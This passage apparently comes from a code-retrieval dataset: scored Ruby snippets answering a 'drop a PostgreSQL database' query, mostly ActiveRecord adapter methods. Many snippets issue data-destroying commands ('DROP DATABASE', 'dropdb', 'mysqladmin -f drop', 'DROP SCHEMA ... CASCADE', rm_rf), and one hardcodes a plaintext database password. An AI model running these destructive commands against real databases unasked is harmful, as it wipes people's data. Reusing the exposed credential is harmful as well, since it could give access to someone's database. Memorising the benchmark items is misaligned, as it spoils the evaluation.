json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "55dc679e8ae9ab08f7fe5756be21b439", "score": "0.58915555", "text": "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "title": "" }, { "docid": "d7ded070d69fcb99e6bdc4c6041b0867", "score": "0.5889774", "text": "def update\n authorize! :update_almacen,Sigesp::Solicitud\n if @sigesp_solicitud.update(sigesp_solicitud_alamcen_params)\n return render json: { url: sigesp_solicitudsalmacen_path(@sigesp_solicitud)} \n else\n return render json:@sigesp_solicitud.errors ,status: :unprocessable_entity\n end \n end", "title": "" }, { "docid": "0bb6ace3d409c2bd29ad8adc73d2bfc9", "score": "0.5887845", "text": "def update\n @frais_annex = FraisAnnex.find(params[:id])\n\n respond_to do |format|\n if @frais_annex.update_attributes(params[:frais_annex])\n format.html { redirect_to @frais_annex, :notice => 'Le frais annexe a bien été modifié' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @frais_annex.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "388cfc4bf491134923ce68098d6dba30", "score": "0.5885724", "text": "def update\n @ano = Ano.find(params[:id])\n\n respond_to do |format|\n if @ano.update_attributes(params[:ano])\n format.html { redirect_to @ano, notice: 'Ano was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ano.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "424a9c3d1661aadf969aac8c559bbc41", "score": "0.5885482", "text": "def update\n respond_to do |format|\n if @bicicletum.update(bicicletum_params)\n format.html { redirect_to @bicicletum, notice: 'Bicicleta Actualizada.' }\n format.json { render :show, status: :ok, location: @bicicletum }\n else\n format.html { render :edit }\n format.json { render json: @bicicletum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
3d55cc4e86bb9c60a0a7bda068bbe705
Drops a PostgreSQL database. Example: drop_database 'matt_development' source://activerecord//lib/active_record/connection_adapters/postgresql/schema_statements.rb53
[ { "docid": "d510ed2f37f7a6cd4db8ca77ce1fa808", "score": "0.80328447", "text": "def drop_database(name); end", "title": "" } ]
[ { "docid": "e8907fc90dea2c3da7f029a8b95ca392", "score": "0.86371076", "text": "def drop_postgresql_database database, user, password, host\n Rake::Task['db:drop'].invoke\n end", "title": "" }, { "docid": "e8e6347f066335166c015ea06750e776", "score": "0.83442765", "text": "def psql_drop_db(db_name)\n result = `dropdb #{db_name}`\n if 0 == $?.exitstatus\n puts \"Succeeded in dropping: #{db_name}\".green\n result\n else\n puts \"Failed to drop: #{db_name}\".red\n puts \"Error: #{result}\".red\n end\n # Either way we want to create the db\n `createdb #{db_name}`\n end", "title": "" }, { "docid": "5425bbcd98523870c7261cc5e68958de", "score": "0.81762385", "text": "def psql_db_command__dropdb psql_db\n psql_db_command__program \"dropdb\", psql_db\n end", "title": "" }, { "docid": "9c151f6632fbc0c3f0c54d7e010e8cc7", "score": "0.814089", "text": "def drop_database(name) #:nodoc:\n if postgresql_version >= 80200\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n else\n begin\n execute \"DROP DATABASE #{quote_table_name(name)}\"\n rescue ActiveRecord::StatementInvalid\n @logger.warn \"#{name} database doesn't exist.\" if @logger\n end\n end\n end", "title": "" }, { "docid": "a6f659c25749697247d4407d8f21e789", "score": "0.8111465", "text": "def drop_database\n connection.drop_database(database)\n end", "title": "" }, { "docid": "c7d479d1b00f03932268627c7b1b1068", "score": "0.8106006", "text": "def db_destroy_postgresql(*args)\n\n\t\t\tcmd_db_disconnect()\n\n\t\t\tinfo = db_parse_db_uri_postgresql(args[0])\n\t\t\targv = []\n\t\t\t\n\t\t\tif (info[:user])\n\t\t\t\targv.push('-U')\n\t\t\t\targv.push(info[:user])\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:pass])\n\t\t\t\tprint()\n\t\t\t\tprint_status(\"Warning: You will need to enter the password at the prompts below\")\n\t\t\t\tprint()\n\t\t\t\targv.push('-W')\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:host])\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:port])\n\t\t\t\targv.push('-p')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\t\t\tsystem(\"dropdb #{cargs} #{info[:name]}\")\n\t\tend", "title": "" }, { "docid": "918e673c3cb4787b346cb3945d5e2181", "score": "0.80484533", "text": "def drop_database\n connection.database.drop\n end", "title": "" }, { "docid": "ca185d2f5fab87bcf7b75d29721006ad", "score": "0.7959413", "text": "def drop_database(name)\n execute(\"DROP DATABASE IF EXISTS `#{name}`\")\n end", "title": "" }, { "docid": "3bbfffbfb8b3d4b3cb51412bf7f6ef8a", "score": "0.7938368", "text": "def drop_database(name) #:nodoc:\n execute \"DROP DATABASE IF EXISTS `#{name}`\"\n end", "title": "" }, { "docid": "3bbfffbfb8b3d4b3cb51412bf7f6ef8a", "score": "0.7938368", "text": "def drop_database(name) #:nodoc:\n execute \"DROP DATABASE IF EXISTS `#{name}`\"\n end", "title": "" }, { "docid": "3bbfffbfb8b3d4b3cb51412bf7f6ef8a", "score": "0.7938368", "text": "def drop_database(name) #:nodoc:\n execute \"DROP DATABASE IF EXISTS `#{name}`\"\n end", "title": "" }, { "docid": "58644a0a4f54ec82ece96e67f1a24e43", "score": "0.7931904", "text": "def drop_database(name) #:nodoc:\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end", "title": "" }, { "docid": "043a701ac1bbbd358283b316c96d8f40", "score": "0.7907327", "text": "def drop_db\n conn = PG.connect(dbname: 'postgres')\n conn.exec(\"DROP DATABASE IF EXISTS healthifycodingchallenge\")\nend", "title": "" }, { "docid": "2959d48ebf7f586fbee12ebaf216b46b", "score": "0.7835362", "text": "def drop_database(name) #:nodoc:\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end", "title": "" }, { "docid": "c80f5476402c4e0453c323f068d3a5a4", "score": "0.78331155", "text": "def drop_database(name) # :nodoc:\n execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n end", "title": "" }, { "docid": "735406fe9fdd27c8ada1ac18f00d6bf5", "score": "0.780585", "text": "def dropdb\n [\n \"PGPASSWORD=#{destination_database_password}\",\n 'dropdb',\n \"--host=#{destination_database_host}\",\n \"--username=#{destination_database_username}\",\n destination_database_name\n ]\n end", "title": "" }, { "docid": "5b4ad56bfec03b36f971bf2fb1451aed", "score": "0.77139395", "text": "def drop\n current_database.drop\n end", "title": "" }, { "docid": "e578bb70a32fe6b041616ae009d7a9a5", "score": "0.7683779", "text": "def db_query__database_drop db_name\n db_name = array__from(db_name).first\n db_query = \"DROP DATABASE #{db_name}\"\n end", "title": "" }, { "docid": "5144a1dea7237cce3f4501842acb8895", "score": "0.7680451", "text": "def drop db_name\n call! :drop, db_name\n end", "title": "" }, { "docid": "5b9cc400882ec521edbe53e766cae0ef", "score": "0.76405966", "text": "def drop_database(database)\n\n sql = \"DROP DATABASE `#{database}`\"\n\n display_command(sql) if @show\n \n begin\n @dbh.query(sql) if @run\n return true\n rescue => e\n display_error(e) if @debug\n return false\n end\n \n end", "title": "" }, { "docid": "2d7b917816b7919d33b9c864d4c42a71", "score": "0.75562775", "text": "def drop\n log_database_removal\n\n client.execute_query(\"DROP DATABASE IF EXISTS #{translate_name(name)} CASCADE;\", async: false,\n system_execution: true)\n end", "title": "" }, { "docid": "2399b393fd5b456fa1c048afc15c130e", "score": "0.75456446", "text": "def drop(backend, db_name)\n backend.delete_db(db_name)\n end", "title": "" }, { "docid": "92948f503aa2c7cad46939838ca74564", "score": "0.7543957", "text": "def tear_down(database:'swarmtest')\n conn = PG.connect(dbname: 'postgres')\n kill_connections(conn, database) if has_connections(conn, database)\n conn.exec(%(DROP DATABASE #{database}))\n conn.close\n end", "title": "" }, { "docid": "042c7db7c475d56d7a8e96eaaafcb3a7", "score": "0.7503499", "text": "def drop_db(db_name:)\n delete(address: '_api/database/' + db_name)[:result]\n end", "title": "" }, { "docid": "109e170bc930642bd13fd30ef6474782", "score": "0.7470788", "text": "def drop_database(config)\n case config['adapter']\n when /mysql/\n ActiveRecord::Base.establish_connection(config)\n ActiveRecord::Base.connection.drop_database config['database']\n when /sqlite/\n require 'pathname'\n path = Pathname.new(config['database'])\n file = path.absolute? ? path.to_s : File.join(Rails.root, path)\n\n FileUtils.rm(file)\n when /postgresql/\n ActiveRecord::Base.connection.select_all(\"select * from pg_stat_activity order by procpid;\").each do |x|\n if config['database'] == x['datname'] && x['current_query'] =~ /<IDLE>/\n ActiveRecord::Base.connection.execute(\"select pg_terminate_backend(#{x['procpid']})\")\n end\n end\n ActiveRecord::Base.establish_connection(config.merge('database' => 'postgres', 'schema_search_path' => 'public'))\n ActiveRecord::Base.connection.drop_database config['database']\n end\nend", "title": "" }, { "docid": "b872208a36eebea165be689e3836313c", "score": "0.74093753", "text": "def wipe_db_command(config)\n parts = [ 'psql postgres' ] #connect to the master database\n parts.unshift password_env(config)\n parts += command_parts(config)\n parts << \"-c 'drop database #{config['database']}'\"\n parts.join(' ')\n end", "title": "" }, { "docid": "0e8b006587d770ab85402720c2b3cc1b", "score": "0.73682845", "text": "def drop_db(dbname)\n http_request(\"DELETE\", \"admin/databases/#{dbname}\", \"application/json\", \"\") \n end", "title": "" }, { "docid": "643e80df5fa6f40aa8ff5e2048ef92ee", "score": "0.7358616", "text": "def drop_database(name)\n #:nodoc:\n sql = \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n log_with_debug(sql, adapter_name) do\n res = @cluster.post(\"/?#{@config.except(:database).to_param}\", sql)\n process_response(res)\n end\n end", "title": "" }, { "docid": "a5951c456b79efafbae9ef405da8d5db", "score": "0.7321689", "text": "def drop_database(name) #:nodoc:\n sql = apply_cluster \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n log_with_debug(sql, adapter_name) do\n res = @connection.post(\"/?#{@config.except(:database).to_param}\", sql)\n process_response(res)\n end\n end", "title": "" }, { "docid": "f5ecb675cad8e0ab905dc6a687641b02", "score": "0.72809553", "text": "def drop_postgres_schema(config)\n return unless config[:adapter] == 'postgresql'\n ActiveRecord::Base.establish_connection config\n ActiveRecord::Schema.define do\n execute \"drop schema rr cascade\" rescue nil\n end\nend", "title": "" }, { "docid": "2670ce824b9d642a9104fdeb14c91cdd", "score": "0.72806054", "text": "def drop_database(config)\n case config[:adapter]\n when 'postgresql'\n `dropdb \"#{config[:database]}\"`\n when 'mysql'\n connection = RR::ConnectionExtenders.db_connect(config.merge({'database' => nil}))\n connection.drop_database config[:database]\n else\n puts \"adapter #{config[:adapter]} not supported\"\n end\nend", "title": "" }, { "docid": "7de058173f860b27117079c33f904162", "score": "0.7275874", "text": "def deletePG(appName, dbName, dbUser)\n # DROP USER [ IF EXISTS ] name [, ...]\n # DROP DATABASE [IF EXISTS] name;\n # ALTER DATABASE \"databaseName\" RENAME TO \"databaseNameOld\"\n query = \"DROP DATABASE #{dbName}\"\n action = @system.execute(\"echo \\\"#{query};\\\" | sudo -u postgres psql\")\n unless action.success?\n @put.error \"Could not drop database (#{dbName})\"\n else\n query = \"DROP USER #{dbUser}\"\n action = @system.execute(\"echo \\\"#{query};\\\" | sudo -u postgres psql\")\n unless action.success?\n @put.error \"Could not drop db user (#{dbUser})\"\n else\n return true\n end\n end\n # action.success?\n # @put.red \"deletePG not implemented yet\"\n # return false\n end", "title": "" }, { "docid": "ecced718d5619a9a84762b69a6597fd5", "score": "0.7185018", "text": "def drop_and_recreate_database\n @log.info(\"Dropping and re-creating database '#{@database_name}'...\")\n @process_runner.execute!(\"mysql -e 'drop database if exists #{@database_name};create database #{@database_name}'\")\n @log.info(\"Successfully dropped and re-created database '#{@database_name}'.\")\n end", "title": "" }, { "docid": "655e3fc13ff1b462c378d4f3bfe34a4d", "score": "0.7131595", "text": "def delete_database\n if @parent_database\n # disable foreign key checks before dropping the database\n @client.query('SET FOREIGN_KEY_CHECKS = 0')\n\n tables = query('SHOW tables')\n\n tables.each do |table|\n table_name = table['Tables_in_local_db']\n @client.query(\"DROP table #{table_name}\")\n end\n\n @client.query('SET FOREIGN_KEY_CHECKS = 1')\n else\n @client.query(\"DROP DATABASE `#{@database}`\")\n @client.query(\"DROP USER IF EXISTS `#{@database}`\")\n end\n end", "title": "" }, { "docid": "11a08b99f099b2f246a66b8714676485", "score": "0.7126892", "text": "def drop(connection_string, database_name)\n EasyIO.logger.header 'Drop Database'\n connection_string = SqlCmd.remove_connection_string_part(connection_string, :database)\n sql_server_settings = SqlCmd.get_sql_server_settings(connection_string)\n database_information = info(connection_string, database_name)\n if database_information['DatabaseNotFound']\n EasyIO.logger.info 'The database was not found. Skipping drop of database...'\n return\n end\n raise \"Unable to drop database [#{database_name}] from [#{sql_server_settings['ServerName']}]! The database is being used for replication.\" if database_information['ReplicationActive']\n EasyIO.logger.info \"Dropping database [#{database_name}] from [#{sql_server_settings['ServerName']}]...\"\n\n sql_script = ::File.read(\"#{SqlCmd.sql_script_dir}/Database/DropDatabase.sql\")\n SqlCmd.execute_query(connection_string, sql_script, values: { 'databasename' => database_name }, retries: 3)\n\n database_information = info(connection_string, database_name)\n raise \"Failed to drop database [#{database_name}] from [#{sql_server_settings['ServerName']}]!\" unless database_information['DatabaseNotFound']\n end", "title": "" }, { "docid": "fb8196b2d5d26dbb70bedee90e975728", "score": "0.70689446", "text": "def drop_database\n admin_connection do |connection|\n connection.drop_database worker_database\n end\n end", "title": "" }, { "docid": "55aa5cd3362b952493cc6bb4bbf57a2e", "score": "0.7039741", "text": "def removeDatabase\n connection_str = \"#{@active_config[:mongo_host]}:#{@active_config[:mongo_port]}/#{@active_config[:mongo_db]}\"\n status, stdout, stderr = systemu \"#{MONGO_EXEC} --eval \\\"db.dropDatabase()\\\" #{connection_str}\"\n end", "title": "" }, { "docid": "0d39096f7991be29d0b6616900ef163b", "score": "0.70034826", "text": "def drop(&blk)\n cmd = {}\n cmd[:dropDatabase] = 1\n run_cmd(cmd, blk)\n end", "title": "" }, { "docid": "1ac622af1316d2d09a736d5deb9c61c5", "score": "0.6988759", "text": "def drop_schema(schema_name)\n ::PgPower::Tools.drop_schema(schema_name)\n end", "title": "" }, { "docid": "7361feb64419d3dc6d49853986ee8909", "score": "0.69665855", "text": "def destroy(database_id)\n account=Account.find(:username => database_id)\n #Drop each account specific database.\n ActiveRecord::Base.connection.execute(\"DROP DATABASE IF EXISTS #{['RAILS_ENV']}_#{account.username};\");\n #Close each account server\n WLLauncher.exit_server(account.port)\n @@databases[database_id].delete(database_id)\n end", "title": "" }, { "docid": "0a09c580cb6f85af664dadfac79ddb41", "score": "0.69144136", "text": "def drop\n server.drop_db(db_name: name).tap do |result|\n self.class.list.delete(name) if result\n end\n end", "title": "" }, { "docid": "b3e1f72ef218a62df57ec533ce9b75f1", "score": "0.68224597", "text": "def drop_schema schema_name\n execute \"DROP SCHEMA #{schema_name} CASCADE\"\n end", "title": "" }, { "docid": "0658867ab9476ba6c360a080f2e2d3ee", "score": "0.67870057", "text": "def drop!(db)\n raise StandardError.new(\"Not implemented\")\n end", "title": "" }, { "docid": "3e0c3ca32614e89310d6e440fa33dbf5", "score": "0.67772853", "text": "def drop\n @database.query(\"DROP DATABASE `#{@database.database_name}`;\")\n true\n rescue Mysql2::Error => e\n e.message =~ /doesn\\'t exist/ ? false : raise\n end", "title": "" }, { "docid": "3121c4b1a9b3fe92cc2188ed0166d25a", "score": "0.6768211", "text": "def drop(options = {})\n operation = { :dropDatabase => 1 }\n client.send(:with_session, options) do |session|\n write_concern = if options[:write_concern]\n WriteConcern.get(options[:write_concern])\n else\n self.write_concern\n end\n Operation::DropDatabase.new({\n selector: operation,\n db_name: name,\n write_concern: write_concern,\n session: session\n }).execute(next_primary(nil, session), context: Operation::Context.new(client: client, session: session))\n end\n end", "title": "" }, { "docid": "4c8c6b5f4a1b98a56e7aaec2b83ebd71", "score": "0.6767702", "text": "def delete_database\n FileUtils.rm_rf(@db_dir)\n end", "title": "" }, { "docid": "2751370d8ea68b164b6089a7219127f0", "score": "0.67117006", "text": "def db_disconnect_postgresql(*args)\n\t\t\tif (framework.db)\n\t\t\t\tframework.db.disconnect()\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "d7d187d948355bc46c560a425ce4a97b", "score": "0.6690534", "text": "def cmd_db_destroy(*args)\n\n\t\t\tcmd_db_disconnect()\n\n\t\t\tinfo = parse_db_uri(args[0])\n\t\t\targv = []\n\t\t\t\n\t\t\tif (info[:user])\n\t\t\t\targv.push('-u')\n\t\t\t\targv.push(info[:user])\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:pass])\n\t\t\t\targv.push('--password=' + info[:pass])\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:host])\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:port])\n\t\t\t\targv.push('-P')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\t\t\t\n\t\t\targv.push(\"-f\")\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\t\t\tsystem(\"mysqladmin -f #{cargs} drop #{info[:name]}\")\n\t\tend", "title": "" }, { "docid": "26a7063f2363c9dd30e3e5f535616e21", "score": "0.6687887", "text": "def drop_schema(*args)\n options = args.extract_options!\n args.flatten!\n\n sql = 'DROP SCHEMA '\n sql << 'IF EXISTS ' if options[:if_exists]\n sql << Array.wrap(args).collect { |s| quote_schema(s) }.join(', ')\n sql << ' CASCADE' if options[:cascade]\n execute(\"#{sql};\")\n end", "title": "" }, { "docid": "13e855c20a084d6d7a936e9b122c3eb0", "score": "0.6684755", "text": "def recreate_database(name)\n tables.each{|t| drop_table(t)}\n end", "title": "" }, { "docid": "7752aa5db404b54822451fcb67846471", "score": "0.66833335", "text": "def destroy\n MysqlAdapter.execute \"DROP DATABASE #{name}\"\n true\n rescue Mysql::Error\n false\n end", "title": "" }, { "docid": "3fd028651421e3b292bb5eedf3ff3943", "score": "0.66140145", "text": "def drop_schema(schema, options=OPTS)\n run(drop_schema_sql(schema, options))\n end", "title": "" }, { "docid": "3fd028651421e3b292bb5eedf3ff3943", "score": "0.66140145", "text": "def drop_schema(schema, options=OPTS)\n run(drop_schema_sql(schema, options))\n end", "title": "" }, { "docid": "6e742720fccbf5e1201acd527e0bb08b", "score": "0.65684897", "text": "def drop_movies_table\n c = PGconn.new(:host => \"localhost\", :dbname => \"testdb\")\n c.exec \"DROP TABLE products;\"\n c.close\nend", "title": "" }, { "docid": "cdd547b587b7c38bf62995a0b2091d85", "score": "0.65684694", "text": "def drop_database_schema!\n file_format ? fileformat_classes.map(&:drop_table!) : orm_classes.map(&:drop_table!)\n remove_orm_classes!\n end", "title": "" }, { "docid": "383aa143f2a50e4ab29b2fb997866ef2", "score": "0.6551894", "text": "def drop_table\n command = <<-SQL\n DROP TABLE if exists puppies\n SQL\n result = @db.exec(command)\n end", "title": "" }, { "docid": "a13316bfb48390b37631274b3fd609e2", "score": "0.654842", "text": "def purge_db(dbname)\n exec_command(pipe_to_bconsole(\".bvfs_cleanup path=#{dbname}\"))\n end", "title": "" }, { "docid": "ff69283b5a35ef310476feabc467ccbd", "score": "0.6516787", "text": "def drop_schema(schema_name, **options); end", "title": "" }, { "docid": "71685a7da5ed21faaa7f2c79338fdb00", "score": "0.64894253", "text": "def delete_database(database)\n options={:basic_auth => @auth}\n handle_result self.class.delete(\"/databases/#{database}\", options)\n end", "title": "" }, { "docid": "af262a1e36eae4c6e467d482d74d7a14", "score": "0.6455525", "text": "def recreate_database\n puts \"Drop db #{@database}\"\n Sql.query(@root_mode, \"drop database #{@database}\")\n puts \"Create db #{@database}\"\n qry = \"CREATE DATABASE #{@database} \" \\\n 'CHARACTER SET utf8 COLLATE utf8_general_ci;'\n Sql.query(@root_mode, qry)\n end", "title": "" }, { "docid": "eb04802b546fb933b3512705e3fa08d9", "score": "0.6444245", "text": "def db_destroy_sqlite3(*args)\n\t\t\tcmd_db_disconnect()\n\t\t\tinfo = db_parse_db_uri_sqlite3(args[0])\n\t\t\tbegin\n\t\t\t\tFile.unlink(info[:path])\n\t\t\trescue Errno::ENOENT\n\t\t\t\tprint_error(\"The specified database does not exist\")\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "c91864ed51da8702fb4b008d1163dca1", "score": "0.64379406", "text": "def drop_target!\n target_databases = @target_connection.fetch(\"SELECT datname FROM pg_database\").map { |e| e[:datname] }\n drop_on_target = @cli.src_databases & target_databases\n if drop_on_target.present?\n exit unless yesno(\"\\nWill drop databases on #{@cli.dest_host}:\\n#{drop_on_target.join(\"\\n\")}\\nOk?\", false)\n drop_on_target.each do |db_name|\n @target_connection.run(\"DROP DATABASE #{db_name}\")\n puts \"Dropped #{db_name}\"\n end\n end\n end", "title": "" }, { "docid": "9875a12f98bda8448ae3dc479e71af1b", "score": "0.641337", "text": "def drop_schema(schema_name, **options)\n execute \"DROP SCHEMA#{' IF EXISTS' if options[:if_exists]} #{quote_schema_name(schema_name)} CASCADE\"\n end", "title": "" }, { "docid": "b0cbdd27ba8794a81e3e5dc598a737a6", "score": "0.64076704", "text": "def drop_schema\n Apartment::Database.drop(self.schema) if Storey.schema_exists?(self.schema)\n end", "title": "" }, { "docid": "56b1f9951ac17b677f37d330e655fada", "score": "0.6387856", "text": "def drop_db(site)\n\n puts \"\\n----------- Drop #{site.name}_production -----------\\n\"\n \n @app_name = site.user.id.to_s()+'_'+site.name\n\n if system(\"sh -c 'cd #{site.path}/current/; cap APPNAME='#{site.user.id}_#{site.name}' USER=#{site.user.id} database:drop;'\")\n\n system(\"sh -c 'cd #{site.path}/; cap deploy USER=#{site.user.id} APPNAME='#{@app_name}'\")\n\n else\n puts \"\\n----------- Cannot Drop #{site.user.id}_#{site.name}_production -----------\\n\"\n\n `cd #{site.path}/current/`\n\n `cap APPNAME=#{site.user.id}_#{site.name} database:drop`\n end\n end", "title": "" }, { "docid": "44262d38531402267b5ef01ce8563895", "score": "0.6341108", "text": "def drop_danger\n @client.database.drop\n end", "title": "" }, { "docid": "9da1986d939dc1207e9742ea709718fa", "score": "0.633969", "text": "def drop_schema(schema_name)\n ActiveRecord::Base.connection.execute(\"DROP SCHEMA IF EXISTS \\\"#{schema_name.to_s}\\\" CASCADE\")\n end", "title": "" }, { "docid": "8daddf51e4ee7a2a910a613da7064709", "score": "0.6333956", "text": "def drop_schema schema_name, options = {}\n sql = \"DROP SCHEMA #{schema_name}\"\n sql << \" CASCADE\" if options[:force]\n exec_query(sql)\n end", "title": "" }, { "docid": "8daddf51e4ee7a2a910a613da7064709", "score": "0.6333956", "text": "def drop_schema schema_name, options = {}\n sql = \"DROP SCHEMA #{schema_name}\"\n sql << \" CASCADE\" if options[:force]\n exec_query(sql)\n end", "title": "" }, { "docid": "65c1dd2d9683950fd659164798877181", "score": "0.629572", "text": "def wipe_database\n (app.DB.tables.reverse - [:schema_info]).each do |table|\n app.DB[table].delete\n end\nend", "title": "" }, { "docid": "4474989511b9cb42cb43ef036c6984c7", "score": "0.62766206", "text": "def db_destroy_mysql(*args)\n\n\t\t\tcmd_db_disconnect()\n\n\t\t\tinfo = db_parse_db_uri_mysql(args[0])\n\t\t\targv = []\n\t\t\t\n\t\t\tif (info[:user])\n\t\t\t\targv.push('-u')\n\t\t\t\targv.push(info[:user])\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:pass])\n\t\t\t\targv.push('--password=' + info[:pass])\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:host])\n\t\t\t\targv.push('-h')\n\t\t\t\targv.push(info[:host])\n\t\t\tend\n\t\t\t\n\t\t\tif (info[:port])\n\t\t\t\targv.push('-P')\n\t\t\t\targv.push(info[:port])\n\t\t\tend\n\t\t\t\n\t\t\targv.push(\"-f\")\n\n\t\t\tcargs = argv.map{|c| \"'#{c}' \"}.join\n\t\t\tsystem(\"mysqladmin -f #{cargs} drop #{info[:name]}\")\n\t\tend", "title": "" }, { "docid": "ffc08557864c26d38b96a8db87018ea9", "score": "0.62666607", "text": "def destroy\n @database_postgresql.destroy\n respond_to do |format|\n format.html { redirect_to database_postgresqls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "be5ca76877f88d5850b42e749a201c06", "score": "0.6250695", "text": "def drop_schema(name, options = {})\n force = options.fetch(:force, '').upcase\n check = 'IF EXISTS' if options.fetch(:check, true)\n execute(\"DROP SCHEMA #{check} #{quote_schema_name(name.to_s)} #{force}\")\n end", "title": "" }, { "docid": "bd70815549701a42461d7e3fbe4a6d04", "score": "0.6245696", "text": "def drop_hoopers\n\tclient = Mysql2::Client.new(host:'localhost' ,username:\"bmv\", password:\"1156244terps!\", database: \"Pearlception_development\")\n client.query(\"DROP DATABASE development_HoopersIsland;\")\nend", "title": "" }, { "docid": "80e9c2442a7bef0a2b5e070b3794f841", "score": "0.6238938", "text": "def drop (object, type)\n if type == 'table'\n @oci.exec(\"DROP #{object}\")\n @oci.commit\n end\n if type == 'database'\n @oci.exec(\"DROP DATABASE #{object}\")\n @oci.commit\n end\n end", "title": "" }, { "docid": "6f8373f6734e6b0402969342e4410eaf", "score": "0.622823", "text": "def drop_schema_if_exists(schema_name)\n ::PgSaurus::Tools.drop_schema_if_exists(schema_name)\n end", "title": "" }, { "docid": "4cd240a9a0b58214d78d026b92b929d8", "score": "0.62232167", "text": "def drop_database\n raise \"Subclass must implement\"\n end", "title": "" }, { "docid": "4cd240a9a0b58214d78d026b92b929d8", "score": "0.62232167", "text": "def drop_database\n raise \"Subclass must implement\"\n end", "title": "" }, { "docid": "21bdf3f1fba1b6099871e8d1b9a9784e", "score": "0.6201552", "text": "def remove_db_schema\n say \"Removing db/schema.rb\"\n FileUtils.rm \"db/schema.rb\"\nend", "title": "" }, { "docid": "2238261f0fe8cf652d61fec566ffba3e", "score": "0.61984104", "text": "def destroy\n #Remove all generated model classes\n destroy_classes\n \n #Destroy the db\n case @configuration['adapter']\n when 'sqlite3'\n path = Pathname.new(@db_name)\n rails_root = File.expand_path('.')\n file = path.absolute? ? path.to_s : File.join(rails_root, path)\n FileUtils.rm(file)\n when 'mysql2'\n ActiveRecord::Base.connection.drop_database @db_name \n end\n end", "title": "" }, { "docid": "05a5533151a4605e40b610e549ad11b8", "score": "0.6184604", "text": "def drop()\n @DB.drop_table?(:contacts)\n @DB.drop_table?(:balances)\n @DB.drop_table?(:ussdsessions)\n @DB.drop_table?(:dlrs)\n @DB.drop_table?(:receivedsms)\n @DB.drop_table?(:voicecalls)\n end", "title": "" }, { "docid": "e8a55b8549de9e038a4e69e77dc08428", "score": "0.6180815", "text": "def clear_database\n # TODu: I should use 4th and 5th databases...\n end", "title": "" }, { "docid": "f7d56082bcc20901b9f4f67789122954", "score": "0.6177776", "text": "def drop_table( tname )\n @db.delete( tname )\n end", "title": "" }, { "docid": "9d06ccb6f19bc3316f26270ed4e01230", "score": "0.617662", "text": "def drop_user(user, schema: \"public\", database: nil)\n database ||= PgHero.connection_config(connection_model)[:database]\n\n user = quote_ident(user)\n schema = quote_ident(schema)\n database = quote_ident(database)\n\n # thanks shiftb\n commands =\n [\n \"REVOKE CONNECT ON DATABASE #{database} FROM #{user}\",\n \"REVOKE USAGE ON SCHEMA #{schema} FROM #{user}\",\n \"REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA #{schema} FROM #{user}\",\n \"REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA #{schema} FROM #{user}\",\n \"ALTER DEFAULT PRIVILEGES IN SCHEMA #{schema} REVOKE SELECT ON TABLES FROM #{user}\",\n \"ALTER DEFAULT PRIVILEGES IN SCHEMA #{schema} REVOKE SELECT ON SEQUENCES FROM #{user}\",\n \"ALTER DEFAULT PRIVILEGES IN SCHEMA #{schema} REVOKE ALL ON SEQUENCES FROM #{user}\",\n \"ALTER DEFAULT PRIVILEGES IN SCHEMA #{schema} REVOKE ALL ON TABLES FROM #{user}\",\n \"DROP ROLE #{user}\"\n ]\n\n # run commands\n connection_model.transaction do\n commands.each do |command|\n execute command\n end\n end\n\n true\n end", "title": "" }, { "docid": "6ed1ff0a2539500095fc3cefcf5822fe", "score": "0.6153752", "text": "def delete_db(db_name)\n path = db_path(db_name)\n\n if Dir.exist?(path)\n begin\n Dir.rmdir(path)\n rescue Errno::ENOTEMPTY\n raise ArgumentError, 'database is not empty!'\n end\n\n return [db_name]\n end\n\n []\n end", "title": "" }, { "docid": "22327f6dfcb415d3763d32645dd7375d", "score": "0.6151428", "text": "def drop\n raise MigrationError.new(\"Current adapter (#{connection.database_type}) doesn't support drop.\")\n end", "title": "" }, { "docid": "1545dce5162fc263dd088b9398fb8baf", "score": "0.61508405", "text": "def drop\n raise MigrationError.new(\"Current adapter (#{ @connection.database_type }) doesn't support drop.\")\n end", "title": "" }, { "docid": "44cdba2897c927f59e1aba4f2dbb0dd6", "score": "0.61329126", "text": "def external_cleanse_postgresql(perform_delete)\n postgres = external_services[\"postgresql\"]\n exec_list = []\n # NOTE a better way to handle this particular action may be through a chef_run of a 'cleanse' recipe,\n # since here we're explicitly reversing the actions we did in-recipe to set the DBs up....\n superuser = postgres[\"db_superuser\"]\n db_data.each do |service|\n key, dbname = service\n service_config = running_service_config(key)\n exec_list << \"DROP DATABASE #{dbname};\"\n exec_list << \"REVOKE \\\"#{service_config[\"sql_user\"]}\\\" FROM \\\"#{superuser}\\\";\"\n exec_list << \"REVOKE 